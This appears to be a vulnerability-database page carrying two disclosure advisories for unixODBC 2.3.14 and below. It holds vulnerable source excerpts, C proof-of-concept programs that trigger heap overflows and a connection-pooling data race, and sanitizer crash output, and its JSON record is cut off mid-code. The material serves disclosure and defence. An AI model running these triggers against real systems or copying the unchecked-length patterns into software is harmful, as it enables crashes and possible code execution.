Search
Find a vulnerability
Search criteria
ⓘ
Use this form to refine search results.
Full-text search supports keyword queries with ranking and filtering.
You can combine vendor, product, and sources to narrow results.
Enable “Apply ordering” to sort by date instead of relevance.
14 vulnerabilities by Unixodbc
GCVE-1988-2026-0548
Vulnerability from gna-1988 – Published: 2026-11-05 04:38 – Updated: 2026-11-05 04:38
VLAI
EPSS
VEX
Title
unixODBC <=2.3.14 Multiple Heap Buffer Overflows, Underflows, and Over-Reads
Summary
unixODBC versions 2.3.14 and below contain multiple heap buffer overflows, underflows, and over-reads. Attackers who
can influence various arguments passed thereto can trigger the heap-based buffer overflows inside of the unixODBC
driver manager itself, potentially corrupting the shared heap state across connections, crash the driver manager
(thereby causing denial of service conditions, multi-tenant data loss, and such related issues, depending on how the
calling information system leverages the library and is architected), information disclosure, and execute arbitrary
code, among other things. Importantly, the unixODBC was also found to contain race conditions, integer underflows,
double-free/use-after-free, null pointer dereference, stack buffer overflows, and numerous other issues. We may or may
not write those issues up, but this was all from a cursory glance through the code.
Examples
Sample Heap Buffer Overflows
While at least 8 different heap-based buffer overflows were discovered, the following serves as a blueprint to find
both the examples below and other instances.
SQLExecDirect's Unvalidated Caller-Supplied Length
When call tracing is enabled, `SQLExecDirect` allocates its trace-log buffer using the caller-supplied `text_length`,
doing so before verifying that the value is valid. Attackers that pass a negative, non-`SQL_NTS` value, as such, cause
a negative value to be sent to the `sprintf` call, which standard C treats as "no precision given", turning the call
into an unbounded `%s` of the full, attacker-controlled `statement_text` string, overflowing the buffer. Importantly,
this same mistake is made elsewhere, such as in `SQLPrepare`'s lines 185-189 which appears to be a copy-paste of the
offending code.
```c
SQLRETURN SQLExecDirect( SQLHSTMT statement_handle,
SQLCHAR *statement_text,
SQLINTEGER text_length )
{
DMHSTMT statement = (DMHSTMT) statement_handle;
SQLRETURN ret;
SQLCHAR *s1;
SQLCHAR s2[ 100 + LOG_MESSAGE_LEN ];
/*
* check statement
*/
if ( !__validate_stmt( statement ))
{
dm_log_write( __FILE__,
__LINE__,
LOG_INFO,
LOG_INFO,
"Error: SQL_INVALID_HANDLE" );
return SQL_INVALID_HANDLE;
}
function_entry( statement );
if ( log_info.log_flag )
{
/*
* allocate some space for the buffer
*/
if ( statement_text && text_length == SQL_NTS )
{
s1 = malloc( strlen((char*) statement_text ) + LOG_MESSAGE_LEN );
}
else if ( statement_text )
{
s1 = malloc( text_length + LOG_MESSAGE_LEN );
}
else
{
s1 = malloc( LOG_MESSAGE_LEN );
}
sprintf( statement -> msg, "\n\t\tEntry:\
\n\t\t\tStatement = %p\
\n\t\t\tSQL = %s",
statement,
__string_with_length( s1, statement_text, text_length ));
free( s1 );
dm_log_write( __FILE__,
__LINE__,
LOG_INFO,
LOG_INFO,
statement -> msg );
}
```
Snippet from `unixODBC`'s DriverManager/SQLExecDirect.c, lines 184-242
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sql.h>
#include <sqlext.h>
int main(void)
{
SQLHENV henv = SQL_NULL_HENV;
SQLHDBC hdbc = SQL_NULL_HDBC;
SQLHSTMT hstmt = SQL_NULL_HSTMT;
SQLRETURN rc;
SQLAllocHandle(SQL_HANDLE_ENV, SQL_NULL_HANDLE, &henv);
SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION, (SQLPOINTER)SQL_OV_ODBC3, 0);
SQLAllocHandle(SQL_HANDLE_DBC, henv, &hdbc);
/* Enable the tracing */
SQLSetConnectAttr(hdbc, SQL_ATTR_TRACE, (SQLPOINTER)SQL_OPT_TRACE_ON, 0);
/* Connect so that a valid STMT handle can be allocated -- the
* overflow itself happens before any call reaches the driver. */
rc = SQLConnect(hdbc, (SQLCHAR*)"test", SQL_NTS,
(SQLCHAR*)"", SQL_NTS, (SQLCHAR*)"", SQL_NTS);
if (!SQL_SUCCEEDED(rc) && rc != SQL_SUCCESS_WITH_INFO) { return 2; }
SQLAllocHandle(SQL_HANDLE_STMT, hdbc, &hstmt);
/* Long, fully attacker-controlled SQL text. */
size_t biglen = 8192;
char *big_sql = malloc(biglen + 1);
memset(big_sql, 'A', biglen);
big_sql[biglen] = '\0';
/* Negative text_length != SQL_NTS(-3) -> malloc(-50+128)=78
* bytes, then __string_with_length's sprintf("%.*s", -50, ...)
* treats the negative precision as "no precision", copying the
* full 8192-byte string into the 78-byte buffer. */
SQLExecDirect(hstmt, (SQLCHAR*)big_sql, -50);
free(big_sql);
return 0;
}
```
Sample code to overflow the buffer
```text
SQLAllocHandle(ENV) rc=0
SQLAllocHandle(DBC) rc=0
SQLSetConnectAttr(SQL_ATTR_TRACE, ON) rc=0
SQLConnect("test") rc=0
SQLAllocHandle(STMT) rc=0
Calling SQLExecDirect with text_length=-50, statement_text len=8192
=================================================================
==1301501==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x607000001f0e at pc 0x000000440c43 bp
0x7ffeee29bc20 sp 0x7ffeee29b3c0
WRITE of size 8209 at 0x607000001f0e thread T0
#0 0x440c42 in __interceptor_vsprintf ...
#1 0x441c37 in sprintf ...
#2 0x7fa07e8ac894 in __string_with_length DriverManager/__info.c
#3 0x7fa07e7ba507 in SQLExecDirect DriverManager/SQLExecDirect.c:235:17
#4 0x4dedd9 in main repro.c:87:10
...
0x607000001f0e is located 0 bytes to the right of 78-byte region [0x607000001ec0,0x607000001f0e)
allocated by thread T0 here:
#0 0x4a3492 in __interceptor_malloc ...
#1 0x7fa07e7ba4d1 in SQLExecDirect DriverManager/SQLExecDirect.c
#2 0x4dedd9 in main repro.c:87:10
...
SUMMARY: AddressSanitizer: heap-buffer-overflow ... in __interceptor_vsprintf
==1301501==ABORTING
```
Output from AddressSanitizer
```text
==1301663== Invalid write of size 8
==1301663== at 0x4854166: mempcpy (vg_replace_strmem.c:1668)
==1301663== by 0x49843F7: _IO_default_xsputn (in /usr/lib64/libc.so.6)
==1301663== by 0x4960212: __vfprintf_internal (in /usr/lib64/libc.so.6)
==1301663== by 0x4978C23: __vsprintf_internal (in /usr/lib64/libc.so.6)
==1301663== by 0x495AFC7: sprintf (in /usr/lib64/libc.so.6)
==1301663== by 0x48BA2E5: __string_with_length (__info.c:3242)
==1301663== by 0x487AD7B: SQLExecDirect (SQLExecDirect.c:231)
==1301663== by 0x401404: main (repro.c:87)
==1301663== Address 0x4c78db1 is 8,033 bytes inside an unallocated block of size 2,711,952 in arena "client"
valgrind: m_mallocfree.c:303 (get_bszB_as_is): Assertion 'bszB_lo == bszB_hi' failed.
valgrind: Heap block lo/hi size mismatch: lo = 144, hi = 4702111234474983745.
```
Output from Valgrind
ODBCINSTSetProperty's Unbounded Property Name/Value Copy
Per the code below, `ODBCINSTAddProperty()` allocates a fixed-size `ODBCINSTPROPERTY` structure and then copies the
caller-supplied `pszProperty` and `pszValue` `char[]`s into its `szName` and `szValue` fields without a `NULL` or
length check.
```c
int ODBCINSTAddProperty( HODBCINSTPROPERTY hFirstProperty, char *pszProperty, char *pszValue )
{
HODBCINSTPROPERTY hNew;
hNew =
(HODBCINSTPROPERTY)malloc( sizeof(ODBCINSTPROPERTY) );
memset(hNew, 0, sizeof(ODBCINSTPROPERTY));
hNew->nPromptType = ODBCINST_PROMPTTYPE_HIDDEN;
hNew->pNext = NULL;
hNew->bRefresh = 0;
hNew->hDLL = hFirstProperty->hDLL;
hNew->pWidget = NULL;
hNew->pszHelp = NULL;
hNew->aPromptData = NULL;
strcpy(hNew->szName, pszProperty );
strcpy( hNew->szValue, pszValue );
```
Code from `unixODBC`'s odbcinst/ODBCINSTSetProperty.c, lines 54-68
```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <odbcinstext.h>
int main(void)
{
ODBCINSTPROPERTY head;
char *evil;
size_t n = 5000; /* > INI_MAX_PROPERTY_NAME/VALUE (1000) */
memset(&head, 0, sizeof(head));
strcpy(head.szName, "Driver"); /* seed list head so AddProperty can walk pNext */
head.pNext = NULL;
head.hDLL = NULL;
evil = malloc(n + 1);
memset(evil, 'A', n);
evil[n] = '\0';
fprintf(stderr, "calling ODBCINSTAddProperty with %zu-byte property name/value...\n", n);
/* pszProperty and pszValue are each 5000 bytes; hNew->szName/szValue
* (heap, inside a malloc(sizeof(ODBCINSTPROPERTY)) chunk) are only
* 1001 bytes each -> two separate heap overflows. */
ODBCINSTAddProperty(&head, evil, evil);
printf("reached end (heap likely corrupted)\n");
free(evil);
return 0;
}
```
Sample code to overflow the buffer
```text
calling ODBCINSTAddProperty with 5000-byte property name/value...
=================================================================
==1300489==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61d000000888 at pc 0x00000048d469 bp
0x7fffcabae780 sp 0x7fffcabadf48
WRITE of size 5001 at 0x61d000000888 thread T0
#0 0x48d468 in strcpy (repro_asan+0x48d468)
#1 0x7f10d0722e05 in ODBCINSTAddProperty odbcinst/ODBCINSTSetProperty.c:67:2
#2 0x4debdf in main repro.c:26:5
0x61d000000888 is located 0 bytes to the right of 2056-byte region [0x61d000000080,0x61d000000888)
allocated by thread T0 here:
#0 0x4a3452 in __interceptor_malloc (repro_asan+0x4a3452)
#1 0x7f10d0722bf5 in ODBCINSTAddProperty odbcinst/ODBCINSTSetProperty.c:58:33
#2 0x4debdf in main repro.c:26:5
SUMMARY: AddressSanitizer: heap-buffer-overflow ... in strcpy
==1300489==ABORTING
```
Output from AddressSanitizer
```text
calling ODBCINSTAddProperty with 5000-byte property name/value...
==1300550== Invalid write of size 1
==1300550== at 0x484C75C: strcpy (vg_replace_strmem.c:553)
==1300550== by 0x485F2CC: ODBCINSTAddProperty (ODBCINSTSetProperty.c:67)
==1300550== by 0x40123D: main (repro.c:26)
==1300550== Address 0x4a94c18 is 0 bytes after a block of size 2,056 alloc'd
==1300550== at 0x484686F: malloc (vg_replace_malloc.c:381)
==1300550== by 0x485F231: ODBCINSTAddProperty (ODBCINSTSetProperty.c:58)
==1300550== by 0x40123D: main (repro.c:26)
valgrind: m_mallocfree.c:303 (get_bszB_as_is): Assertion 'bszB_lo == bszB_hi' failed.
valgrind: Heap block lo/hi size mismatch: lo = 2128, hi = 4702111234474983745.
This is probably caused by your program erroneously writing past the
end of a heap block and corrupting heap metadata.
```
Output from Valgrind Memcheck
Template Driver's SQLConnect Unchecked Copy
The template driver provides sample/boilerplate Structured Query Language (SQL) connect code, but this code does not
perform input validation against the upstream data source `char[]`, allowing an overflow on the corresponding `sprintf`
call while creating what is supposed to be a diagnostic message pending the connection attempt. The length of the data
sources (`szDataSource`) isn't checked until after the overflow has already occurred -- via `( strlen((char*)
szDataSource ) > ODBC_FILENAME_MAX+INI_MAX_OBJECT_NAME` -- but even this check is incorrect because `szSqlMsg` is only
1024-bytes and the maths above allows thousands more bytes than that. Importantly, the `MiniSQL` sample driver's
`SQLConnect` contains the same issue caused by the same faulty ordering, logic, and lack of verification. This example
and the MiniSQL example mentioned herein only really matter if the sample/boilerplate code is leveraged by a library
but should be fixed since such code is supposed to aid developers.
```c
SQ
Severity
No CVSS data available.
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-description |
| https://seclists.org/fulldisclosure/2026/Nov/8 | technical-description |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
{
"containers": {
"cna": {
"affected": [
{
"product": "\u003c=2.3.14",
"vendor": "Unixodbc",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Daniel Owens via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "unixODBC versions 2.3.14 and below contain multiple heap buffer overflows, underflows, and over-reads. Attackers who \ncan influence various arguments passed thereto can trigger the heap-based buffer overflows inside of the unixODBC \ndriver manager itself, potentially corrupting the shared heap state across connections, crash the driver manager \n(thereby causing denial of service conditions, multi-tenant data loss, and such related issues, depending on how the \ncalling information system leverages the library and is architected), information disclosure, and execute arbitrary \ncode, among other things. Importantly, the unixODBC was also found to contain race conditions, integer underflows, \ndouble-free/use-after-free, null pointer dereference, stack buffer overflows, and numerous other issues. We may or may \nnot write those issues up, but this was all from a cursory glance through the code.\n\nExamples\nSample Heap Buffer Overflows\nWhile at least 8 different heap-based buffer overflows were discovered, the following serves as a blueprint to find \nboth the examples below and other instances.\n\nSQLExecDirect\u0027s Unvalidated Caller-Supplied Length\nWhen call tracing is enabled, `SQLExecDirect` allocates its trace-log buffer using the caller-supplied `text_length`, \ndoing so before verifying that the value is valid. Attackers that pass a negative, non-`SQL_NTS` value, as such, cause \na negative value to be sent to the `sprintf` call, which standard C treats as \"no precision given\", turning the call \ninto an unbounded `%s` of the full, attacker-controlled `statement_text` string, overflowing the buffer. Importantly, \nthis same mistake is made elsewhere, such as in `SQLPrepare`\u0027s lines 185-189 which appears to be a copy-paste of the \noffending code.\n\n```c\nSQLRETURN SQLExecDirect( SQLHSTMT statement_handle,\n SQLCHAR *statement_text,\n SQLINTEGER text_length )\n{\n DMHSTMT statement = (DMHSTMT) statement_handle;\n SQLRETURN ret;\n SQLCHAR *s1;\n SQLCHAR s2[ 100 + LOG_MESSAGE_LEN ];\n\n /*\n * check statement\n */\n\n if ( !__validate_stmt( statement ))\n {\n dm_log_write( __FILE__,\n __LINE__,\n LOG_INFO,\n LOG_INFO,\n \"Error: SQL_INVALID_HANDLE\" );\n\n return SQL_INVALID_HANDLE;\n }\n\n function_entry( statement );\n\n if ( log_info.log_flag )\n {\n /*\n * allocate some space for the buffer\n */\n\n if ( statement_text \u0026\u0026 text_length == SQL_NTS )\n {\n s1 = malloc( strlen((char*) statement_text ) + LOG_MESSAGE_LEN );\n }\n else if ( statement_text )\n {\n s1 = malloc( text_length + LOG_MESSAGE_LEN );\n }\n else\n {\n s1 = malloc( LOG_MESSAGE_LEN );\n }\n\n sprintf( statement -\u003e msg, \"\\n\\t\\tEntry:\\\n\\n\\t\\t\\tStatement = %p\\\n\\n\\t\\t\\tSQL = %s\",\n statement,\n __string_with_length( s1, statement_text, text_length ));\n\n free( s1 );\n\n dm_log_write( __FILE__,\n __LINE__,\n LOG_INFO,\n LOG_INFO,\n statement -\u003e msg );\n }\n```\nSnippet from `unixODBC`\u0027s DriverManager/SQLExecDirect.c, lines 184-242\n\n```c\n#include \u003cstdio.h\u003e\n#include \u003cstdlib.h\u003e\n#include \u003cstring.h\u003e\n#include \u003csql.h\u003e\n#include \u003csqlext.h\u003e\n\nint main(void)\n{\n SQLHENV henv = SQL_NULL_HENV;\n SQLHDBC hdbc = SQL_NULL_HDBC;\n SQLHSTMT hstmt = SQL_NULL_HSTMT;\n SQLRETURN rc;\n\n SQLAllocHandle(SQL_HANDLE_ENV, SQL_NULL_HANDLE, \u0026henv);\n SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION, (SQLPOINTER)SQL_OV_ODBC3, 0);\n SQLAllocHandle(SQL_HANDLE_DBC, henv, \u0026hdbc);\n\n /* Enable the tracing */\n SQLSetConnectAttr(hdbc, SQL_ATTR_TRACE, (SQLPOINTER)SQL_OPT_TRACE_ON, 0);\n\n /* Connect so that a valid STMT handle can be allocated -- the\n * overflow itself happens before any call reaches the driver. */\n rc = SQLConnect(hdbc, (SQLCHAR*)\"test\", SQL_NTS,\n (SQLCHAR*)\"\", SQL_NTS, (SQLCHAR*)\"\", SQL_NTS);\n if (!SQL_SUCCEEDED(rc) \u0026\u0026 rc != SQL_SUCCESS_WITH_INFO) { return 2; }\n SQLAllocHandle(SQL_HANDLE_STMT, hdbc, \u0026hstmt);\n\n /* Long, fully attacker-controlled SQL text. */\n size_t biglen = 8192;\n char *big_sql = malloc(biglen + 1);\n memset(big_sql, \u0027A\u0027, biglen);\n big_sql[biglen] = \u0027\\0\u0027;\n\n /* Negative text_length != SQL_NTS(-3) -\u003e malloc(-50+128)=78\n * bytes, then __string_with_length\u0027s sprintf(\"%.*s\", -50, ...)\n * treats the negative precision as \"no precision\", copying the\n * full 8192-byte string into the 78-byte buffer. */\n SQLExecDirect(hstmt, (SQLCHAR*)big_sql, -50);\n\n free(big_sql);\n return 0;\n}\n```\nSample code to overflow the buffer\n\n```text\nSQLAllocHandle(ENV) rc=0\nSQLAllocHandle(DBC) rc=0\nSQLSetConnectAttr(SQL_ATTR_TRACE, ON) rc=0\nSQLConnect(\"test\") rc=0\nSQLAllocHandle(STMT) rc=0\nCalling SQLExecDirect with text_length=-50, statement_text len=8192\n=================================================================\n==1301501==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x607000001f0e at pc 0x000000440c43 bp \n0x7ffeee29bc20 sp 0x7ffeee29b3c0\nWRITE of size 8209 at 0x607000001f0e thread T0\n #0 0x440c42 in __interceptor_vsprintf ...\n #1 0x441c37 in sprintf ...\n #2 0x7fa07e8ac894 in __string_with_length DriverManager/__info.c\n #3 0x7fa07e7ba507 in SQLExecDirect DriverManager/SQLExecDirect.c:235:17\n #4 0x4dedd9 in main repro.c:87:10\n...\n0x607000001f0e is located 0 bytes to the right of 78-byte region [0x607000001ec0,0x607000001f0e)\nallocated by thread T0 here:\n #0 0x4a3492 in __interceptor_malloc ...\n #1 0x7fa07e7ba4d1 in SQLExecDirect DriverManager/SQLExecDirect.c\n #2 0x4dedd9 in main repro.c:87:10\n...\nSUMMARY: AddressSanitizer: heap-buffer-overflow ... in __interceptor_vsprintf\n==1301501==ABORTING\n```\nOutput from AddressSanitizer\n\n```text\n==1301663== Invalid write of size 8\n==1301663== at 0x4854166: mempcpy (vg_replace_strmem.c:1668)\n==1301663== by 0x49843F7: _IO_default_xsputn (in /usr/lib64/libc.so.6)\n==1301663== by 0x4960212: __vfprintf_internal (in /usr/lib64/libc.so.6)\n==1301663== by 0x4978C23: __vsprintf_internal (in /usr/lib64/libc.so.6)\n==1301663== by 0x495AFC7: sprintf (in /usr/lib64/libc.so.6)\n==1301663== by 0x48BA2E5: __string_with_length (__info.c:3242)\n==1301663== by 0x487AD7B: SQLExecDirect (SQLExecDirect.c:231)\n==1301663== by 0x401404: main (repro.c:87)\n==1301663== Address 0x4c78db1 is 8,033 bytes inside an unallocated block of size 2,711,952 in arena \"client\"\n\nvalgrind: m_mallocfree.c:303 (get_bszB_as_is): Assertion \u0027bszB_lo == bszB_hi\u0027 failed.\nvalgrind: Heap block lo/hi size mismatch: lo = 144, hi = 4702111234474983745.\n```\nOutput from Valgrind\n\nODBCINSTSetProperty\u0027s Unbounded Property Name/Value Copy\nPer the code below, `ODBCINSTAddProperty()` allocates a fixed-size `ODBCINSTPROPERTY` structure and then copies the \ncaller-supplied `pszProperty` and `pszValue` `char[]`s into its `szName` and `szValue` fields without a `NULL` or \nlength check.\n\n```c\nint ODBCINSTAddProperty( HODBCINSTPROPERTY hFirstProperty, char *pszProperty, char *pszValue )\n{\n HODBCINSTPROPERTY hNew;\n\n hNew = \n(HODBCINSTPROPERTY)malloc( sizeof(ODBCINSTPROPERTY) );\n memset(hNew, 0, sizeof(ODBCINSTPROPERTY));\n hNew-\u003enPromptType = ODBCINST_PROMPTTYPE_HIDDEN;\n hNew-\u003epNext = NULL;\n hNew-\u003ebRefresh = 0;\n hNew-\u003ehDLL = hFirstProperty-\u003ehDLL;\n hNew-\u003epWidget = NULL;\n hNew-\u003epszHelp = NULL;\n hNew-\u003eaPromptData = NULL;\n strcpy(hNew-\u003eszName, pszProperty );\n strcpy( hNew-\u003eszValue, pszValue );\n```\nCode from `unixODBC`\u0027s odbcinst/ODBCINSTSetProperty.c, lines 54-68\n\n```c\n#include \u003cstdio.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cstdlib.h\u003e\n#include \u003codbcinstext.h\u003e\n\nint main(void)\n{\n ODBCINSTPROPERTY head;\n char *evil;\n size_t n = 5000; /* \u003e INI_MAX_PROPERTY_NAME/VALUE (1000) */\n\n memset(\u0026head, 0, sizeof(head));\n strcpy(head.szName, \"Driver\"); /* seed list head so AddProperty can walk pNext */\n head.pNext = NULL;\n head.hDLL = NULL;\n\n evil = malloc(n + 1);\n memset(evil, \u0027A\u0027, n);\n evil[n] = \u0027\\0\u0027;\n\n fprintf(stderr, \"calling ODBCINSTAddProperty with %zu-byte property name/value...\\n\", n);\n\n /* pszProperty and pszValue are each 5000 bytes; hNew-\u003eszName/szValue\n * (heap, inside a malloc(sizeof(ODBCINSTPROPERTY)) chunk) are only\n * 1001 bytes each -\u003e two separate heap overflows. */\n ODBCINSTAddProperty(\u0026head, evil, evil);\n\n printf(\"reached end (heap likely corrupted)\\n\");\n free(evil);\n return 0;\n}\n```\nSample code to overflow the buffer\n\n```text\ncalling ODBCINSTAddProperty with 5000-byte property name/value...\n=================================================================\n==1300489==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61d000000888 at pc 0x00000048d469 bp \n0x7fffcabae780 sp 0x7fffcabadf48\nWRITE of size 5001 at 0x61d000000888 thread T0\n #0 0x48d468 in strcpy (repro_asan+0x48d468)\n #1 0x7f10d0722e05 in ODBCINSTAddProperty odbcinst/ODBCINSTSetProperty.c:67:2\n #2 0x4debdf in main repro.c:26:5\n0x61d000000888 is located 0 bytes to the right of 2056-byte region [0x61d000000080,0x61d000000888)\nallocated by thread T0 here:\n #0 0x4a3452 in __interceptor_malloc (repro_asan+0x4a3452)\n #1 0x7f10d0722bf5 in ODBCINSTAddProperty odbcinst/ODBCINSTSetProperty.c:58:33\n #2 0x4debdf in main repro.c:26:5\nSUMMARY: AddressSanitizer: heap-buffer-overflow ... in strcpy\n==1300489==ABORTING\n```\nOutput from AddressSanitizer\n\n```text\ncalling ODBCINSTAddProperty with 5000-byte property name/value...\n==1300550== Invalid write of size 1\n==1300550== at 0x484C75C: strcpy (vg_replace_strmem.c:553)\n==1300550== by 0x485F2CC: ODBCINSTAddProperty (ODBCINSTSetProperty.c:67)\n==1300550== by 0x40123D: main (repro.c:26)\n==1300550== Address 0x4a94c18 is 0 bytes after a block of size 2,056 alloc\u0027d\n==1300550== at 0x484686F: malloc (vg_replace_malloc.c:381)\n==1300550== by 0x485F231: ODBCINSTAddProperty (ODBCINSTSetProperty.c:58)\n==1300550== by 0x40123D: main (repro.c:26)\nvalgrind: m_mallocfree.c:303 (get_bszB_as_is): Assertion \u0027bszB_lo == bszB_hi\u0027 failed.\nvalgrind: Heap block lo/hi size mismatch: lo = 2128, hi = 4702111234474983745.\nThis is probably caused by your program erroneously writing past the\nend of a heap block and corrupting heap metadata.\n```\nOutput from Valgrind Memcheck\n\nTemplate Driver\u0027s SQLConnect Unchecked Copy\nThe template driver provides sample/boilerplate Structured Query Language (SQL) connect code, but this code does not \nperform input validation against the upstream data source `char[]`, allowing an overflow on the corresponding `sprintf` \ncall while creating what is supposed to be a diagnostic message pending the connection attempt. The length of the data \nsources (`szDataSource`) isn\u0027t checked until after the overflow has already occurred -- via `( strlen((char*) \nszDataSource ) \u003e ODBC_FILENAME_MAX+INI_MAX_OBJECT_NAME` -- but even this check is incorrect because `szSqlMsg` is only \n1024-bytes and the maths above allows thousands more bytes than that. Importantly, the `MiniSQL` sample driver\u0027s \n`SQLConnect` contains the same issue caused by the same faulty ordering, logic, and lack of verification. This example \nand the MiniSQL example mentioned herein only really matter if the sample/boilerplate code is leveraged by a library \nbut should be fixed since such code is supposed to aid developers.\n\n```c\nSQ"
}
],
"providerMetadata": {
"dateUpdated": "2026-11-05T04:38:41Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/8"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Nov/8"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Nov/8"
],
"discovery": "EXTERNAL"
},
"title": "unixODBC \u003c=2.3.14 Multiple Heap Buffer Overflows, Underflows, and Over-Reads",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0548",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/8",
"automated": true,
"contentSha256": "4cafbee5f66f0cc90cd6cab56be32adbedde5106fd136ce689dab1c90100ac1b",
"evidenceScore": 7,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Nov/8",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-11-04T00:40:34Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-05T04:38:41Z",
"dateUpdated": "2026-11-05T04:38:41Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0548"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0549
Vulnerability from gna-1988 – Published: 2026-11-05 04:38 – Updated: 2026-11-05 04:38
VLAI
EPSS
VEX
Title
unixODBC <=2.3.14 Multiple Races
Summary
The unixODBC driver manager library contains multiple races of importance / interest, including a set of data races in
the connection-pooling configuration state data that can cause one thread to read a half-written pool-size or timeout
value, which can lead to a variety of harmful effects, as well as a race between teardown and error-handling
functionality that can result in double-frees and use-after-frees. Other races exist within the code, as well, but,
for brevity, are left as exercises for the reader.
Examples
Sample Data Races
While 7 distinct data races were discovered, the following serves as a blueprint to find both the examples below and
other instances.
Connection-Pooling Configuration State Data Races
The DriverManager's connection-pooling configuration state -- the globals `pooling_enabled`, `pool_max_size`, and
`pool_wait_timeout` declared in `SQLConnect.c` -- is read and written from `SQLAllocHandle`, `SQLSetEnvAttr`,
`SQLConnect`, `SQLDriverConnect`, `SQLDisconnect`, and `SQLFreeHandle` without any of the write paths acquiring a lock,
despite such a lock -- a mutex in `__handles.c` -- already existing expressly for this purpose. Since the variables in
question are neither atomic nor `volatile`, directly accessing them in such a fashion via reads and writes creates a
data race, with the compiler and central processing unit (CPU) being free to tear, cache, and reorder the accesses (and
the compiler will, more generally, assume single-threaded execution for non-atomic globals, which may cause aggressive
optimisations, like moving reads out of loops, that further break runtime assumptions). While there are multiple sites
with this specific problem, we will only show code for one for the sake of brevity. The sample code to reproduce the
issue will, across multiple runs, demonstrate races in `SQLSetEnvAttr`, `SQLAllocHandle`, etc., so running it multiple
times will provide a better example thereof, as one would expect with such an issue.
```c
int pooling_enabled = 0;
int pool_max_size = 0;
int pool_wait_timeout;
```
Code snippet from `unixODBC`'s DriverManager/SQLConnect.c, lines 738-740
```c
/** Lines 255-261 **/
/*
* connection pooling stuff
*/
extern int pooling_enabled;
extern int pool_max_size;
extern int pool_wait_timeout;
/** ... **/
/** Lines 302-323 **/
if ( pooling_string[ 0 ] == '1' ||
toupper( pooling_string[ 0 ] ) == 'Y' ||
( toupper( pooling_string[ 0 ] ) == 'O' &&
toupper( pooling_string[ 1 ] ) == 'N' ))
{
pooling_enabled = 1;
}
#ifdef WITH_SHARDENV
if ( pooling_enabled )
{
int first;
SQLGetPrivateProfileString( "ODBC", "PoolMaxSize", "0",
pool_max_size_string, sizeof( pool_max_size_string ),
"ODBCINST.INI" );
pool_max_size = atoi( pool_max_size_string );
SQLGetPrivateProfileString( "ODBC", "PoolWaitTimeout", "30",
pool_wait_timeout_string, sizeof( pool_wait_timeout_string ),
"ODBCINST.INI" );
pool_wait_timeout = atoi( pool_wait_timeout_string );
/** .. **/
/** Lines 383-397 **/
#else
if ( pooling_enabled )
{
int first;
SQLGetPrivateProfileString( "ODBC", "PoolMaxSize", "0",
pool_max_size_string, sizeof( pool_max_size_string ),
"ODBCINST.INI" );
pool_max_size = atoi( pool_max_size_string );
SQLGetPrivateProfileString( "ODBC", "PoolWaitTimeout", "30",
pool_wait_timeout_string, sizeof( pool_wait_timeout_string ),
"ODBCINST.INI" );
pool_wait_timeout = atoi( pool_wait_timeout_string );
```
Snippets from `unixODBC`'s DriverManager/SQLAllocHandle.c
```c
#include <stdio.h>
#include <pthread.h>
#include <sql.h>
#include <sqlext.h>
#define ITER 2000
static void *setter_thread(void *arg) {
(void)arg;
for (int i = 0; i < ITER; i++) {
SQLSetEnvAttr(SQL_NULL_HENV, SQL_ATTR_CONNECTION_POOLING,
(SQLPOINTER)SQL_CP_ONE_PER_DRIVER, 0);
}
return NULL;
}
static void *alloc_thread(void *arg) {
(void)arg;
for (int i = 0; i < ITER; i++) {
SQLHENV henv = SQL_NULL_HENV;
SQLAllocHandle(SQL_HANDLE_ENV, SQL_NULL_HANDLE, &henv);
if (henv != SQL_NULL_HENV) {
SQLFreeHandle(SQL_HANDLE_ENV, henv);
}
}
return NULL;
}
int main(void) {
pthread_t t1, t2;
pthread_create(&t1, NULL, setter_thread, NULL);
pthread_create(&t2, NULL, alloc_thread, NULL);
pthread_join(t1, NULL);
pthread_join(t2, NULL);
printf("done\n");
return 0;
}
```
Sample code to cause the data race
```text
WARNING: ThreadSanitizer: data race (pid=1369482)
Read of size 4 at 0x7f6f9fff8c28 by thread T2:
#0 __SQLAllocHandle .../DriverManager/SQLAllocHandle.c:387:18 ...
#1 SQLAllocHandle .../DriverManager/SQLAllocHandle.c:1396:12 ...
#2 alloc_thread .../poc_pool_race.c:41:24 ...
Previous write of size 4 at 0x7f6f9fff8c28 by thread T1:
#0 SQLSetEnvAttr .../DriverManager/SQLSetEnvAttr.c:156:33 ...
#1 setter_thread .../poc_pool_race.c:31:9 ...
Location is global 'pooling_enabled' of size 4 at 0x7f6f9fff8c28 (libodbc.so.2+0x8ec28)
...
SUMMARY: ThreadSanitizer: data race .../SQLAllocHandle.c:387:18 in __SQLAllocHandle
